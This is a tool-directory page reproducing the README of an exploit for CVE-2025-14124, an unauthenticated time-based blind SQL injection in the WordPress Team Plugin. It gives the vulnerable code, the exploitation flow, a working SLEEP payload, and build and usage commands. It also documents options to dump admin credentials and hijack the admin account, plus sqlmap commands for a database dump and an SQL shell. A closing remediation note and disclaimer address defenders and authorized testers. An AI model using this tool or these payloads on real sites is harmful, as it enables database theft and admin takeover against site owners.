Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-14124 — Unauthenticated SQL Injection (Time-Based Blind) | Kitploit
Tools/GitHubGitHub/hyunchiya/cve-2025-14124
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubhyunchiya/cve-2025-14124

CVE-2025-14124

Unauthenticated SQL Injection (Time-Based Blind)

View Repository
18 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-14124

WordPress Team Plugin - Unauthenticated SQL Injection

Author: Hyun Chiya


Vulnerability Information

Download Tool
FieldValue
CVE IDCVE-2025-14124
PluginWordPress Team Plugin
Affected Versions< 5.0.11
Vulnerability TypeUnauthenticated SQL Injection (Time-Based Blind)
SeverityHigh

Description

The WordPress Team Plugin does not properly sanitize and escape the search parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to SQL injection.

Root Cause Analysis

The vulnerable code is in app/Controllers/Frontend/Ajax/LoadMore.php:

root@kitploit:~
// Line 221 - User input sanitized but NOT SQL-escaped
$sAction = sanitize_text_field( wp_unslash( $_REQUEST['search'] ) );

// Line 437-438 - VULNERABLE: Direct SQL concatenation
function tlp_team_search_where( $where ) {
    global $wpdb;
    $term = $wpdb->esc_like( $this->s['s'] );  // ⚠️ esc_like only escapes %, _, \
    $where .= "OR ({$wpdb->posts}.post_title LIKE '%{$term}%' ...)";  // ⚠️ SQLi!
}

Problem: $wpdb->esc_like() only escapes LIKE wildcards, NOT SQL injection metacharacters.

Exploitation Flow

root@kitploit:~
flowchart TD
    A["Attacker finds page with [tlpteam] shortcode"] --> B["Extract tlp_nonce and data-sc-id"]
    B --> C["POST to /wp-admin/admin-ajax.php"]
    C --> D["action=ttp_Layout_Ajax_Action<br/>search=SQL_PAYLOAD"]
    D --> E{"Nonce valid?"}
    E -->|Yes| F["SQL query executed with payload"]
    F --> G["Time-based detection via SLEEP()"]
    
    style F fill:#ff6b6b,stroke:#c92a2a,color:#fff
    style G fill:#51cf66,stroke:#2f9e44,color:#fff

Prerequisites

  1. Target has WordPress Team Plugin installed (< 5.0.11)
  2. A page with [tlpteam] shortcode must exist
  3. At least one team member created in the plugin

Build

root@kitploit:~
go build -o CVE-2025-14124.exe main.go

Usage

Auto-detect Team Page

root@kitploit:~
.\CVE-2025-14124.exe -u http://target.com

Specify Team Page URL

root@kitploit:~
.\CVE-2025-14124.exe -u http://target.com --page-url http://target.com/our-team/

Check Plugin Only

root@kitploit:~
.\CVE-2025-14124.exe -u http://target.com --check-only

Custom SLEEP Delay

root@kitploit:~
.\CVE-2025-14124.exe -u http://target.com --delay 5

Options

ArgumentDescription
-uTarget WordPress URL (required)
--page-urlPage URL containing tlpteam shortcode
--delaySLEEP seconds for detection (default: 1)
--dumpExtract database info and WordPress admin credentials
--create-adminAttempt to hijack admin account (requires stacked queries)
--admin-userUsername for admin hijack (default: pwned_admin)
--admin-passPassword for admin hijack (default: Pwned123!)
--check-onlyOnly check if plugin is active
--timeoutRequest timeout in seconds (default: 120)

Data Extraction Mode (--dump)

When using --dump, the tool will extract:

  • Database version
  • Current database name
  • Database user
  • WordPress table prefix
  • Admin username
  • Admin password hash
  • Admin email

Note: Data extraction is slow due to time-based blind SQL injection nature (~5-15 minutes for full extraction).

Admin Hijack Mode (--create-admin)

Attempts to change existing admin password via SQL UPDATE.

⚠️ Important: This mode requires stacked queries support, which is typically disabled in PHP+MySQL. If stacked queries are not supported, use --dump to extract credentials instead, or use sqlmap --sql-shell for direct UPDATE execution.

Example Output

root@kitploit:~
>> [ ONLINE ]    
    ╔═══════════════════════════════════════════════════════════════════════════════════════╗
    ║   CVE-2025-14124 - WordPress Team Plugin SQL Injection                                ║
    ║   Affected: tlp-team < 5.0.11                                                         ║
    ║   Author: Hyun Chiya                                                                  ║
    ╚═══════════════════════════════════════════════════════════════════════════════════════╝

>> [ INFORMATION ]

[*] Checking if WordPress Team Plugin is active...
[+] Plugin detected: /wp-content/plugins/tlp-team/readme.txt
[+] Plugin detected!

[*] Searching for page with tlpteam shortcode...
[+] Found team page: http://target.com/our-team/
[+] Target page: http://target.com/our-team/

[+] Extracted nonce: abc123def456
[+] Extracted scID: 42

============================================================
[*] EXPLOIT: Time-Based Blind SQL Injection
============================================================

[*] Payload: t' OR SLEEP(3) OR 't'='t
[*] Expected delay: ~9 seconds (SLEEP executes 3 times)

[*] Sending malicious request...
[*] Response time: 9.23 seconds

[+] SQL INJECTION CONFIRMED!
[+] Response delayed by ~9 seconds (expected: 9)

[!] The target is vulnerable to Time-Based Blind SQL Injection
[!] Database can be extracted using tools like sqlmap

[*] Done.

Using with SQLMap

For advanced exploitation, you can use sqlmap after confirming the vulnerability:

root@kitploit:~
# Dump database
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
  --data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
  -p search --dbms=mysql --technique=T --batch --dump

# SQL Shell (for UPDATE queries)
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
  --data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
  -p search --dbms=mysql --technique=T --sql-shell

Remediation

⚠️ IMPORTANT: Update WordPress Team Plugin to version 5.0.11 or later where the vulnerability has been patched with proper SQL escaping using $wpdb->prepare().

References

  • WPScan Vulnerability Database

Disclaimer

This tool is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. Use responsibly.

Author

Hyun Chiya